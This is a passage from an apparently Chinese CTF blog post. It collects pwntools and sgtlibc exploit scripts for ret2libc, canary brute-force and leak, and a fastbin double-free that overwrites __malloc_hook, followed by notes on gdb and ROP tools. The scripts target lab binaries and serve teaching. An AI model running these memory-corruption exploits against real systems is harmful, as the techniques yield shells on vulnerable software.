# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
leak('__libc_start_main')
sl('123')
ru(b'123')  # 此处因为样本read了2次,需要跳过第一次
leak('puts')


# libc = ELF('libc_buu-2.23_x86.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset


sl('123')
ru(b'123')  # 此处因为样本read了2次,需要跳过第一次

data = s.dump(db_index=0)  # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')

payload = exp()
payload += [elf.rop['ret']]  # 栈平衡
payload += [system_addr, fakeebp(), binsh_addr]
sl(payload)
interactive()

canary brute

import sgtlibc
from sgtlibc.gamebox import *
from sgtlibc.ROPgadgets.gadgets_exploit import gadget_by_csu
set_config(GameBoxConfig(
    is_local=True,
    file='./fork',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
canary = b''


def test(data: bytes):
    payload = [b'a' * 24 + canary+bytes([data])]
    sa('welcome',payload)
    rl()
    data = rl()
    warning(data)
    if b'smash' in data:
        return False
    return True
    # success(data)
    # interactive()


for i in range(len(fakeebp())):
    for j in range(0x100):
        if test(j):
            canary += bytes([j])
            break
success(f'canary:{canary.hex()}')
interactive()

canary-x64-by_simple_puts_leak

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=False,
    file='./babystack',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
main_addr = 0x00400908  # elf.symbols['main']


canary = b''


def exp():
    # overflow position
    data = [b'a' * (136), canary, (b'' if not canary else fakeebp())]
    return data


sla(b'>> ', '1')
se(exp() + b'b')

sla(b'>> ', '2')
ru(exp() + b'b')
# 此处是先获取canary,注意canary64位时候是 00开头的,需要将该00补上,否则将被截断无法回显
canary = rc(7).rjust(8, b'\0')
log.info(f'canary:{canary.hex()}')


main_addr = 0x000000400908  # elf.symbols['main']
csu_init_addr = 0x00400A30  # elf.symbols['__libc_csu_init']


def leak(func: str):
    log.warning(f'start leak {func}')
    payload = exp()
    payload += [elf.rop['rdi'], elf.got[func],   elf.plt['puts']]
    payload += [[elf.rop['ret']] * 1]  # 栈平衡
    payload += [main_addr]
    # sla(b' input\n',payload)
    sl(payload)
    # ru('joke')
    # ru(fakeebp())  # 如果有输出则清空缓存

    data = rc(6).ljust(8, b'\0')
    data = u00(data)
    log.info(f'leak {func}:{hex(data)}')
    s.add_condition(func, data)
    return data


# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
# leak('printf')
leak('puts')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset

data = s.dump(db_index=2)  # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')


payload = exp()
payload += [elf.rop['rdi'], binsh_addr]
payload += [system_addr]
sl(payload)
interactive()

canary-x64-by-simple_puts_leak

import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
import os

set_config(GameBoxConfig(
    is_local=False,
    file='./ex2',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()

print(elf.got)


plt_write = elf.plt['puts']
print(plt_write)
main_addr = elf.symbols['main']


canary = b''


def exp():
    # overflow position
    data = [b'a' * (136), canary, (b'' if not canary else fakeebp())]
    return data


# 此处是先获取canary,注意canary32位时候是 00开头的,需要将该00补上,否则将被截断无法回显
data = exp()
print(data)
sa('Hacker', data + b'a')
ru(data + b'a')
canary = rc(3).rjust(4, b'\0')
log.info(f'canary:{canary.hex()}')


def leak(func: str):
    log.info(f'leak:{func}')
    global canary
    # 泄露libc
    payload = exp()
    payload += [plt_write, main_addr, elf.got[func]]
    # 如果是read的话则sa,如果是gets scanf的话则sl
    se(payload)
    ru(b'aabb')
    data = rc(4)  # 32位接收4个
    data = uc(data)
    s.add_condition(func, data)
    print('leak', func, hex(data))
    return data


# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
leak('__libc_start_main')
se('123')
ru(b'123') # 此处因为样本read了2次,需要跳过第一次
leak('puts')


# libc = ELF('libc_buu-2.23_x86.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset


data = s.dump(db_index=0)
# 再次利用payload,溢出执行system
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')


payload = exp()
payload += [elf.rop['ret']]  # 栈平衡
payload += [elf.rop['rdi'], binsh_addr]
payload += [system_addr]
sl(payload)
interactive()

fastbin doublefree leak

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./fastbin',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf


def add(data: bytes, size: int = -1):
    if size == -1:
        size = len(data)
    warning(f'add({size}):{data}')
    sla('>', '1')
    sla('Size:', str(size))
    sa('Data:', data)


def delete(idx: int):
    warning(f'delete({idx})')
    sla('>', '2')
    sla('Idx:', str(idx))


def show(idx: int):
    warning(f'delete({idx})')
    sla('>', '3')
    sla('Idx:', str(idx))


def edit(idx: int, data: bytes, size: int = -1):
    if size == -1:
        size = len(data)


SIZE_EXP = 0x60
POP_OFFSET = 0  # 用于当onegadgets 不符合条件时候调整栈 ∈  # 0 2 4 6 8 11 12
# 1. 申请一个大堆使得其可以进unsortbin 0x100
# 2. 中间放一个小堆使得释放的时候不会被合并 0x20
# 3. 申请2个SIZE_EXP的堆用于后续利用
# 4. 删除大堆,此时大堆的头将变为堆管理器赋值的libc地址偏移
# 4.1 使用`bins`查看该地址main_arean+xx偏移
# 4.2 同时main_arena_malloc_hook和main_arena固定差-0x10
# 4.3 libc_base = xx - 0x10 + main_arena_malloc_hook - libc.symbols['__malloc_hook']
# 5. 释放A,释放B(防合并),释放A。使得A被double-free
# 6. 再次申请A并将地址写为 libc_base + libc_0x7f_pos
# 6.1 libc_0x7f_pos = libc.symbols['__malloc_hook'] - 0x28(魔术字) + 0x5(0x00007f 8位的后5位)
# 7. 再次申请B,申请A。此时A的大小将变为 sizeof(CHUNK_HEAD) + SIZE_EXP

# leak libc
add(size=0x100, data='abitrary')  # 0
add(size=0x20, data='abitrary')  # 1
add(size=SIZE_EXP, data='abitrary')  # 2-A
add(size=SIZE_EXP, data='abitrary')  # 3-B
# A-B-A
delete(0)
show(0)
attach(client.client)
libc = ELF('./libc_action/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
print(rl())
gdb_offset = 88
# 通过gdb调试看main_arena对应libc的多少
# unsortedbin
# all: 0xd2a000 —▸ 0x7fa4e3b55b78 (main_arena+88) ◂— 0xd2a000
main_arena_malloc_hook_offset = -0x10
libc_base = u64(rl()[:-1].ljust(8, b'\x00')) - gdb_offset + \
    main_arena_malloc_hook_offset - libc.symbols['__malloc_hook']
log.success(f'libc: {hex(libc_base)}')

# fastbin attack
delete(2)
delete(3)
delete(2)  # double-free A 使得A上伪造的地址被用上
libc_0x7f_pos = libc.symbols['__malloc_hook'] - 0x23
# 重新申请回A使得A.fd == libc_base + libc_0x7f_pos
add(size=0x60, data=p00(libc_base + libc_0x7f_pos))
add(size=0x60, data='abitrary')
add(size=0x60, data='abitrary')  # 获取libc上伪造的堆

one = 0xf1247
# 不考虑栈环境的
# add(0x60, b'AAA' + p64(0) * 2 + p64(libc_base + one))
# 考虑栈环境的
# __GI___libc_realloc开始用于修改栈位置
try_offset = POP_OFFSET  # 0 2 4 6 8 11 12
add(size=0x60, data=b'AAA' + p00(0) * 1 + p00(libc_base + one) +
    p00(libc_base + libc.symbols['realloc'] + try_offset))


sla('>', '1')
sla('Size:', str('1'))
interactive()

参考文档

  • 常见知识点

    • 汇编

      leave equal mov esp,ebp; pop ebp;

      ret equal pop eip

    • 函数参数

      • x86函数传参:直接从栈上读,且参数在返回地址上方

        栈的执行顺序 ebp+(func1+f1_返回+f1_args)+(func2+f2_返回+f2_args)…

        syscall的话则需要寄存器传参:ebx,ecx,edx,esi,edi,ebp

      • x64函数传参:按 rdi, rsi, rdx, rcx, r8, r9顺序读,后续的从栈上读

        故x64需要调用ROP实现pop将参数从栈中传入寄存器

        内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

    • ret2libc注意事项

      • 当题目没有设置setbuf的时候,不要用plt.printf,否则不会有回显
      • 注意有时候远程打不通的时候,可能是因为栈没有平衡,找一个ret走一下可能就好了。
    • gdb/pwndb

      • 内存查看

        • p expresion 查看指定数值 /print
        • x 查看各类
          • x/20g address 查数据 /global
          • x/20i address 查反汇编 /
          • x/20s address 查字符串 /strings
          • x/20b address 查字节 /bytes
        • hex查看hex及asciihex address size
        • i r 查注册表 /inspect register
      • vmmap 内存查看

      • 调试

        • ni/下一步 si/进入 c/继续
        • b addr/断点 e addr/enable断点 d/disable断点 q/退出
        • set expression=xxx 设置内存
  • 常用工具

    • pwntools逆向python库
    • Kali
      • checksec:检查样本的基 本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
      • ROPgadget/ropper:检查文件中可以利用的gadgetrop-chain
        • 静态编译的题基本上都是可以一键生成ropchain的,ropper -f flower --chain “execve cmd=/bin/sh”
        • 注意在python3版本中,生成的chain需要在所有的字符串前面加上b表示十六进制值,否则会出现str不能合并bytes的报错
      • gdb:程序动态调试工具,也可以直接使用ida的远程调试功能
    • libc_searcher:用于retlibc题时候查询其libc版本
      • 在线web查询 推荐的查询器 稍菜一点的查询器
      • 离线python pip install sgtlibc ,使用 sgtlibc ./binary_file func_name:addr func2_name:addr… --dump binsh
      • docker部署离线外部查询环境 docker pull libcyber/srpnode注意需要更新
  • 教程

  • 常见知识点

  • 6
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值